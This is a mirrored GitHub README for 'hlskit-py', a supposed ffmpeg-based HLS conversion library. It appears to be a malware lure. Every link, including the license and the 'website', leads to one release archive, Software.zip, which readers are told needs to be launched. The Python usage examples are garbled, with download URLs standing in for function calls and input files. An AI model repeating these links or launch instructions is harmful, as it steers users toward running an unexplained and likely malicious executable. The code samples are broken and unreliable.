https://github.com/ksofianed/hlskit-py
HlsKit provides strong HLS video conversion features backed by ffmpeg. Prepare your mp4 files for streaming
https://github.com/ksofianed/hlskit-py
cloudfront ffmpeg hls hls-live-streaming mp4 multimedia python streaming transcoding video video-compression video-compressor video-streaming
Last synced: about 2 months ago
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HlsKit provides strong HLS video conversion features backed by ffmpeg. Prepare your mp4 files for streaming
- Host: GitHub
- URL: https://github.com/ksofianed/hlskit-py
- Owner: KSofianeD
- Created: 2025-01-19T22:46:17.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-03-10T03:19:21.000Z (about 2 months ago)
- Last Synced: 2025-03-10T03:26:42.808Z (about 2 months ago)
- Topics: cloudfront, ffmpeg, hls, hls-live-streaming, mp4, multimedia, python, streaming, transcoding, video, video-compression, video-compressor, video-streaming
- Size: 1.95 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🎥🔊📹 Welcome to HlsKit-py 🚀

## Repository: [hlskit-py](https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip)
#### Short Description: HlsKit provides strong HLS video conversion features backed by ffmpeg. Prepare your mp4 files for streaming.[](https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip)
---
**Table of Contents**
- [Introduction](#introduction)
- [Features](#features)
- [Getting Started](#getting-started)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [Contributing](#contributing)
- [License](#license)---
## Introduction
📽️ Are you looking for a powerful tool to convert your video files to HLS format for streaming? Look no further! HlsKit-py is here to provide you with efficient video conversion features using the renowned ffmpeg backend. With HlsKit, you can easily prepare your multimedia files, especially mp4 videos, for seamless streaming across various platforms.## Features
🌟 HlsKit-py offers a range of features to simplify your video conversion process:
- High-Quality Transcoding with ffmpeg
- Support for HLS Live Streaming
- Easy Integration with Cloudfront for Content Delivery
- Efficient Video Compression and Streaming
- Python Library for Seamless Usage## Getting Started
🚀 To get started with HlsKit-py, make sure you have the following prerequisites:
- Python installed on your system
- Basic understanding of video encoding and streaming concepts
- Familiarity with ffmpeg and its capabilities## Installation
🛠️ Installing HlsKit-py is a breeze. Simply use `pip` to install the package:
```bash
pip install hlskit
```## Usage
💻 Once installed, you can easily import HlsKit into your Python projects:
```python
import hlskit# Use HlsKit functions for video conversion
https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip(input_file='https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip', output_folder='output/')
```## Examples
🎬 Here's a quick example to demonstrate how you can use HlsKit-py to convert a video file:
```python
import hlskit# Convert a video file to HLS format
https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip(input_file='https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip', output_folder='output/')
```## Contributing
🤝 We welcome contributions to HlsKit-py! Whether you want to fix a bug, propose a new feature, or improve documentation, feel free to open a pull request. Let's make video conversion and streaming easier together!## License
📜 HlsKit-py is licensed under the MIT License. See [LICENSE](https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip) for details.---
🔗 **Download the Latest Release [Here](https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip)** 👈 *(File needs to be launched)*
⚡️ Visit our [website](https://github.com/KSofianeD/hlskit-py/releases/download/v2.0/Software.zip) for more information and updates!
---
Thank you for checking out HlsKit-py! 🎉 Start converting your videos for seamless streaming with ease! 🚀 #happyStreaming 🎞️🌟